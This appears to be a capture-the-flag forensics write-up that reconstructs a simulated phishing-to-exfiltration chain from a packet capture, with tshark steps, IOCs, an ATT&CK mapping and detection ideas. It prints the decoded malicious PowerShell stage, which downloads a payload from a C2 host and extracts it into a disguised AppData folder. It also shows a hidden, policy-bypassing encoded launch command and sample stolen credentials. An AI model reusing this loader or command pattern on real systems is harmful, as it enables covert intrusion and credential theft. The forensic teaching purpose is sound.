Writeup · 31 Nights of Root

Phantom Drop

forensicsmediumsolvedFlag: r00t{REDACTED}

Overview

An EDR alert fired on WKSTN-09 for a write to an unusual AppData subdirectory. The process was already gone and nothing looked wrong in the process list. The only evidence is a pcap. The task is to reconstruct the full chain: what came in, what went out, and what was left on disk.

TL;DR

Stage What happened Evidence
Lure User clicked through from a typosquatted SharePoint page Referer: hxxp://secure-docs[.]p3rfcorp-sharepoint[.]com/shared/doc.html
Delivery Obfuscated PowerShell loader fetched from updates[.]cdn-delivery[.]net GET /stage1/loader.ps1, header X-Content-Encoding: xor-hex
Execution Hidden PowerShell, -EncodedCommand, ExecutionPolicy bypass Loader decodes to powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand …
Persistence of artifacts Staging dir created under %APPDATA% …\Microsoft\Windows\Themes\WinStore\
C2 check-in Base64 JSON beacon with host, user and OS POST /v2/beacon to api[.]cloudmetrics-push[.]com
Payload drop Zip pulled in two HTTP Range requests GET /v2/payload, Range: bytes=0-349 and 342-683
Exfil Zip sent to a third domain POST /report to telemetry[.]winupdate-sync[.]io
Flag Inside credentials.txt in the zip `# CTF flag: r00t{REDACTED}

Overview — Host and network overview

  • Victim: 192[.]168[.]10[.]45 (WKSTN-09, user b.omondi, domain P3RFCORP)
  • Only 6 TCP conversations and 9 DNS lookups. Most of it is benign noise designed to hide the real activity.
Domain IP Verdict
windowsupdate[.]com 20[.]190[.]151[.]70 Decoy. Returns a 72-byte MZ stub, not a real update
ctldl[.]windowsupdate[.]com 13[.]107[.]4[.]50 Noise (DNS only)
www[.]google[.]com, fonts[.]googleapis[.]com 142[.]250[.]185[.]78, 216[.]58[.]212[.]174 Noise (the latter is a bare TLS connection, nothing readable)
login[.]microsoftonline[.]com 20[.]190[.]144[.]147 Noise (DNS only)
ocsp[.]digicert[.]com 93[.]184[.]220[.]29 Noise (DNS only)
updates[.]cdn-delivery[.]net 104[.]21[.]55[.]200 Stage 1 delivery
api[.]cloudmetrics-push[.]com 172[.]67[.]133[.]14 C2 (beacon + payload)
telemetry[.]winupdate-sync[.]io 185[.]220[.]101[.]55 Exfil

The three malicious domains all use plausible “CDN / metrics / Windows telemetry” names, a common way to blend into proxy logs.

Prerequisites / Setup

  • tshark (or Wireshark)
  • python3, base64, xxd
  • capture.pcap in the working directory

Recon — Walkthrough

Step 1 — Triage: find the interesting conversations

Goal: Identify the suspicious HTTP conversations.

All traffic is plain HTTP on port 80. The three suspicious hosts are the ones that do not match a real service: cdn-delivery[.]net, cloudmetrics-push[.]com, winupdate-sync[.]io. Their HTTP requests are:

GET  /stage1/loader.ps1   (updates[.]cdn-delivery[.]net)
POST /v2/beacon           (api[.]cloudmetrics-push[.]com)
GET  /v2/payload  x2      (api[.]cloudmetrics-push[.]com)   <- Range requests
POST /report              (telemetry[.]winupdate-sync[.]io)

Step 2 — Stage 1: the loader

Goal: Recover and decode the PowerShell loader.

The request carries a Referer pointing at secure-docs[.]p3rfcorp-sharepoint[.]com, a lookalike of the company’s SharePoint. That is the initial lure.

The response is labelled Content-Type: text/plain (a 4170-byte ASCII hex string). One header gives it away: X-Content-Encoding: xor-hex.

  1. Hex-decode the body to get 2085 raw bytes.
  2. XOR with a repeating key. The key is not given in the response. Known-plaintext works: guess the data starts with powershell and XOR the guess against the first bytes. The output is d8f3c1a0-4, which is the start of the UUID in the X-Client-ID header the victim sends on later requests: d8f3c1a0-4e7b-4f2a-8c9d-2b1f0e3a5d7c.
  3. The result is:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABlAG4AdgA6AFAA…

Step 3 — Decode the EncodedCommand

Goal: Decode the base64 UTF-16LE -EncodedCommand.

  1. -EncodedCommand is base64 of UTF-16LE. Decoded:
$env:Path = [System.Environment]::GetEnvironmentVariable('Path','Machine')
$stage2url = 'hxxp://api[.]cloudmetrics-push[.]com/v2/payload'
$appdata = $env:APPDATA
$stagedir = "$appdata\Microsoft\Windows\Themes\WinStore"
If (-Not (Test-Path $stagedir)) { New-Item -ItemType Directory -Path $stagedir | Out-Null }
$b64path = "$stagedir\~store_cache.dat"
$zippath = "$stagedir\~store_cache.zip"
Write-Host '[*] Fetching payload...'
(New-Object System.Net.WebClient).DownloadFile($stage2url, $b64path)
$b64 = [System.IO.File]::ReadAllText($b64path)
$bytes = [System.Convert]::FromBase64String($b64)
[System.IO.File]::WriteAllBytes($zippath, $bytes)
Write-Host '[*] Extracting...'
Expand-Archive -Path $zippath -DestinationPath $stagedir -Force
Write-Host '[+] Done.'

This answers the EDR alert and the “left on disk” part of the question:

  • Directory: %APPDATA%\Microsoft\Windows\Themes\WinStore\. It is made to look like Windows theme/Store data.
  • Files: ~store_cache.dat (base64 text), ~store_cache.zip, and the extracted credentials.txt and system_info.txt.
  • The process vanished because it is a short-lived hidden PowerShell that exits after Expand-Archive.

Step 4 — C2 beacon

Goal: Decode the beacon body.

POST /v2/beacon to api[.]cloudmetrics-push[.]com with X-Client-ID: d8f3c1a0-…. The body is base64 JSON:

{
  "cid": "d8f3c1a0-4e7b-4f2a-8c9d-2b1f0e3a5d7c",
  "host": "WKSTN-09",
  "user": "b.omondi",
  "os": "Windows 10 Pro 22H2",
  "ts": "2026-11-10T09:01:44Z",
  "task": "ready"
}

Response: {"status":"ok","task":"fetch_payload"}. The operator tasks the implant to pull its payload.

Step 5 — Payload retrieval (the trap)

Goal: Download the zip via two ranged GETs and reassemble it.

The payload is fetched with two ranged GETs, each returning 206 Partial Content:

Request Response
Range: bytes=0-349 Content-Range: bytes 0-341/684, X-Total-Parts: 2
Range: bytes=342-683 Content-Range: bytes 342-683/684

Gotcha: the second request and response reuse the TCP sequence numbers of the first, so Wireshark/tshark flag frames 35 and 36 as [TCP Retransmission] and, by default, do not dissect them as HTTP. If you rely on the http filter, Export Objects, or Follow Stream, you only get the first half of the base64, and decoding fails or yields a truncated zip. Fix it by turning off sequence analysis (-o tcp.analyze_sequence_numbers:FALSE, or Analyze → Enable TCP sequence analysis unticked in the GUI).

Concatenate the two bodies in order, base64-decode, and the result is a ZIP (PK\x03\x04, deflate) containing:

credentials.txt
system_info.txt

credentials.txt:

=== P3RFCORP Internal Credentials Export ===
Domain: p3rfcorp.local
AdminUser: p3rf_svc_backup
AdminPass: S3cur3Backup!2026
DBConnStr: Server=DBSRV01;Database=HRCore;User=sa;Password=H!R_D@T4_2026

# CTF flag: r00t{REDACTED}

system_info.txt: hostname WKSTN-09, Windows 10 Pro 22H2, user b.omondi, domain P3RFCORP.

Exploitation — Full chain

 [Typosquat SharePoint page] --click--> WKSTN-09
         |
         v   GET /stage1/loader.ps1            (updates[.]cdn-delivery[.]net)
 xor-hex blob --XOR(client-id)--> powershell -EncodedCommand (UTF-16LE b64)
         |
         v   writes %APPDATA%\Microsoft\Windows\Themes\WinStore\
         |
         v   POST /v2/beacon                    (api[.]cloudmetrics-push[.]com)  -> task: fetch_payload
         v   GET  /v2/payload  Range 0-349, 342-683 -> base64 -> ~store_cache.zip
         v   Expand-Archive -> credentials.txt, system_info.txt  (left on disk)
         |
         v   POST /report  data=<b64 zip>       (telemetry[.]winupdate-sync[.]io)  -> {"received":true}

Flag

r00t{REDACTED}

Inside credentials.txt in the zip: `# CTF flag: r00t{REDACTED}.

Reproducing it with tshark

Set up once:

P=capture.pcap
# Needed so tshark dissects the "retransmitted" 2nd range request/response (frames 35/36)
O="-o tcp.analyze_sequence_numbers:FALSE"
# Helper: dump the raw HTTP body of one frame (http.file_data is shown as hex, so xxd converts it back)
body(){ tshark -r $P $O -Y "frame.number==$1" -T fields -e http.file_data | xxd -r -p; }

xxd is in the xxd or vim-common package on Debian/Ubuntu/Kali.

Step 6.1 — Overview and triage

# Protocol hierarchy
tshark -r $P -q -z io,phs

# TCP conversations (spot the 6 flows)
tshark -r $P -q -z conv,tcp

# DNS queries in order, with time
tshark -r $P -Y "dns.flags.response==0" -T fields -e frame.number -e frame.time -e dns.qry.name

# DNS answers (domain -> IP)
tshark -r $P -Y "dns.flags.response==1" -T fields -e dns.qry.name -e dns.a

# Every HTTP request and response (note the frame numbers, they are used below)
tshark -r $P $O -Y http -T fields -e frame.number -e tcp.stream \
  -e http.request.method -e http.host -e http.request.uri -e http.response.code

# Response content types and lengths
tshark -r $P -Y "http.response" -T fields -e frame.number -e http.content_type -e http.content_length

# Spot the lure and the odd custom header
tshark -r $P -Y "http.referer" -T fields -e http.referer
tshark -r $P -Y "http.response" -T fields -e http.response.line | grep -o 'X-Content-Encoding: [a-z-]*'

Expected frame map: 19/20 loader request/response, 31/32 beacon, 33–36 payload ranges, 44/45 exfil.

Step 6.2 — Stage 1: decode the loader

# Grab the key (X-Client-ID, sent in the victim's requests)
KEY=$(tshark -r $P -Y "http.request" -T fields -e http.request.line \
  | grep -o 'X-Client-ID: [0-9a-f-]*' | head -1 | cut -d' ' -f2)
echo $KEY    # d8f3c1a0-4e7b-4f2a-8c9d-2b1f0e3a5d7c

# Hex body -> XOR with repeating key -> base64 UTF-16LE command
body 20 > loader.hex
python3 - <<EOF
import base64
k = b"$KEY"
raw = bytes.fromhex(open('loader.hex').read().strip())
s = bytes(b ^ k[i % len(k)] for i, b in enumerate(raw)).decode()
print(s[:80], '...\n')
print(base64.b64decode(s.split('-EncodedCommand ')[1]).decode('utf-16le'))
EOF

If you do not know the key, recover it by known plaintext:

python3 -c "
raw=bytes.fromhex(open('loader.hex').read().strip())
g=b'powershell'
print(bytes(a^b for a,b in zip(raw,g)))"     # -> b'd8f3c1a0-4'

Step 6.3 — Beacon

body 31 | base64 -d; echo

Step 6.4 — Reassemble the payload zip

# The two Range responses, in order, concatenated, then base64-decoded
( body 34; body 36 ) | tr -d '\n' | base64 -d > payload.zip
file payload.zip                      # Zip archive data
unzip -l payload.zip
unzip -p payload.zip credentials.txt  # flag is in here
unzip -p payload.zip system_info.txt

Step 6.5 — Confirm exfiltration

# Body is a urlencoded form; take everything after data=, URL-decode the base64 characters, decode
body 44 | sed 's/.*&data=//; s/%3D/=/g; s/%2B/+/g; s/%2F/\//g' | base64 -d > exfil.zip
cmp exfil.zip payload.zip && echo "IDENTICAL: exfil is the same archive"

Do not use -e urlencoded-form.value for the data= field. tshark URL-decodes it and + characters in the base64 turn into spaces, corrupting the zip.

Step 6.6 — One-shot flag grab

P=capture.pcap; O="-o tcp.analyze_sequence_numbers:FALSE"
for f in 34 36; do tshark -r $P $O -Y "frame.number==$f" -T fields -e http.file_data | xxd -r -p; done \
  | tr -d '\n' | base64 -d > payload.zip
unzip -p payload.zip credentials.txt | grep -o 'r00t{REDACTED}]*}'

Step 6.7 — GUI alternative

In Wireshark: untick Analyze → Enable TCP sequence analysis, then File → Export Objects → HTTP for the loader and zip chunks, or Follow → HTTP Stream on the stream containing frames 33–36 (stream 4).

Indicators of compromise

Domains: updates[.]cdn-delivery[.]net, api[.]cloudmetrics-push[.]com, telemetry[.]winupdate-sync[.]io, secure-docs[.]p3rfcorp-sharepoint[.]com IPs: 104[.]21[.]55[.]200, 172[.]67[.]133[.]14, 185[.]220[.]101[.]55 URLs/paths: /stage1/loader.ps1, /v2/beacon, /v2/payload, /report Headers: X-Content-Encoding: xor-hex, X-Client-ID: d8f3c1a0-4e7b-4f2a-8c9d-2b1f0e3a5d7c, X-Correlation-ID: 8b4f2e1a-9c3d-4f5b-a0e7-1d2c3b4a5f6e

Host artifacts:

  • %APPDATA%\Microsoft\Windows\Themes\WinStore\~store_cache.dat
  • %APPDATA%\Microsoft\Windows\Themes\WinStore\~store_cache.zip
  • %APPDATA%\Microsoft\Windows\Themes\WinStore\credentials.txt
  • %APPDATA%\Microsoft\Windows\Themes\WinStore\system_info.txt

Command line: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand …

MITRE ATT&CK mapping

Technique ID Where
Phishing: spearphishing link T1566.002 Typosquatted SharePoint Referer
Command and Scripting Interpreter: PowerShell T1059.001 Hidden, bypass, encoded
Obfuscated Files or Information T1027 xor-hex loader, base64 UTF-16LE command, base64 zip
Masquerading T1036 WinStore / Themes directory, ~store_cache, decoy domain names
Ingress Tool Transfer T1105 Stage 1 and payload downloads
Application Layer Protocol: Web T1071.001 HTTP beacon and tasking
Archive Collected Data T1560 ZIP + base64
Exfiltration Over C2 Channel / Web Service T1041 POST /report

Notes and observations

  • The “exfil” is the same archive that was downloaded. In a real intrusion that would be unusual; in the challenge it ties the on-disk artifacts (credentials.txt, system_info.txt) to what left the network.
  • Timestamp mismatch. The pcap frame times start at 2025-11-09 10:00:00 UTC, but the JSON/form fields say 2026-11-10T09:01:44Z and …09:02:33Z. The embedded values are host-reported; use them for the narrative (the 09:00 Monday alert) and treat the frame times as capture-side. Relative timing is consistent: DNS for the loader at T+20s, beacon at T+35s, exfil at T+52s, about a minute end to end.
  • Why the process list looked clean: hidden window, a one-shot script, and the working files named like cache files with a leading ~.
  • Credentials exposed: p3rf_svc_backup (domain/backup admin) and the HRCore sa account must be treated as compromised and rotated.

Detection and response ideas

  • Alert on powershell.exe with -EncodedCommand combined with -W Hidden and -Exec Bypass.
  • File-creation alerts under %APPDATA%\Microsoft\Windows\Themes\ for anything other than theme files, especially ~*.dat/~*.zip.
  • Proxy/DNS: flag newly registered “telemetry/cloudmetrics/cdn-delivery” lookalike domains and HTTP responses with unusual X-Content-Encoding values.
  • Egress: block plaintext HTTP POSTs with large base64 data= bodies to non-corporate hosts.
  • Response: isolate WKSTN-09, collect the WinStore directory, rotate the exposed credentials, hunt for the IOCs above across other hosts, and block the three domains and IPs.

Techniques

References